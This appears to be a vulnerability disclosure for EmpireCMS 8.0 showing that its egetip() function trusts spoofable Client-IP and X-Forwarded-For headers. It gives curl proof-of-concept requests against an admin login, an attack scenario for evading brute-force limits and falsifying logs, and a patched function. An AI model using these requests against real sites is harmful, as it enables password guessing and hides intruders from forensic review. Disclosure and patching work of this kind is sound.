Logo EmpireCMS 8.0 Privilege Escalation

EmpireCMS 8.0 Privilege Escalation

Title: IP Address Spoofing Vulnerability in EmpireCMS ≤ 8.0#

BUG_Author: pemic、gets

Affected Version: EmpireCMS ≤ 8.0

Vendor: EmpireCMS Official

Software: EmpireCMS Download

Vulnerability File:

  • e/class/connect.php

Description:#

A client IP address spoofing vulnerability exists in the egetip() function of EmpireCMS. The function prioritizes user-controllable HTTP headers (HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR) over the reliable REMOTE_ADDR value when determining the client's IP address.

This allows attackers to bypass IP-based access restrictions and falsify IP addresses recorded in security logs and database records.

Vulnerability Analysis:#

Root Cause:

In file e/class/connect.php, lines 1024-1052, the egetip() function retrieves the client IP address in the following order:

function egetip(){
   global $ecms_config;
   if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
  {
       $ip=getenv('HTTP_CLIENT_IP');
  }
   elseif(getenv('HTTP_X_FORWARDED_FOR')&&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown'))
  {
       $ip=getenv('HTTP_X_FORWARDED_FOR');
  }
   elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'unknown'))
  {
       $ip=getenv('REMOTE_ADDR');
  }
   // ...
   $ip=RepPostVar($ip);
   return $ip;
}

The function checks HTTP_CLIENT_IP first, then HTTP_X_FORWARDED_FOR, and finally REMOTE_ADDR. Since HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR are HTTP headers that can be freely set by the client, an attacker can inject any arbitrary IP address.

Impact:

  • Bypass IP-based login attempt limits

  • Falsify IP addresses in security/audit logs

  • Bypass IP whitelist/blacklist restrictions

  • Evade IP-based rate limiting

Proof of Concept:#

Test Environment:

  • EmpireCMS Version: 8.0

  • PHP Version: 5.6

  • MySQL Version: 5.7

  • OS: Docker (Debian)

Step 1: Clear existing login failure records

TRUNCATE TABLE phome_enewsloginfail;

Step 2: Send login request with spoofed Client-IP header

curl -X POST "http://target:19080/eadmin/admin/ecmsadmin.php" \
 -H "Client-IP: 10.20.30.40" \
 -d "enews=login&username=testuser&password=wrongpass&key="

Step 3: Verify the spoofed IP was recorded in database

SELECT ip FROM phome_enewsloginfail;

Result:

+-------------+
| ip         |
+-------------+
| 10.20.30.40 |
+-------------+

The spoofed IP address 10.20.30.40 from the Client-IP header was recorded instead of the actual client IP.

Step 4: Test with X-Forwarded-For header

curl -X POST "http://target:19080/eadmin/admin/ecmsadmin.php" \
 -H "X-Forwarded-For: 192.168.200.100" \
 -d "enews=login&username=testuser2&password=wrongpass&key="

Result:

+------------------+
| ip               |
+------------------+
| 192.168.200.100 |
+------------------+

Attack Scenario:#

  1. Bypass Login Attempt Limits: EmpireCMS limits login attempts per IP address. An attacker can bypass this by sending each login attempt with a different spoofed IP, effectively bypassing brute-force protection.

  2. Log Falsification: Security logs will record the spoofed IP instead of the attacker's real IP, making forensic investigation difficult.

Suggested Fix:#

Modify the egetip() function to prioritize REMOTE_ADDR:

function egetip(){
   global $ecms_config;
   // Always use REMOTE_ADDR first for security
   if(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] &&
      strcasecmp($_SERVER['REMOTE_ADDR'],'unknown'))
  {
       $ip = $_SERVER['REMOTE_ADDR'];
  }
   // Only use forwarded headers in trusted proxy environments
   // and validate the IP format
   elseif($ecms_config['sets']['getiptype'] > 0)
  {
       $ip = egetipadd();
  }
   else
  {
       $ip = '0.0.0.0';
  }
   if(strlen($ip) > 49)
  {
       exit();
  }
   $ip = RepPostVar($ip);
   return $ip;
}

Timeline:#

  • 2025-12-22: Vulnerability discovered and verified

  • 2025-12-22: Report submitted

Last updated on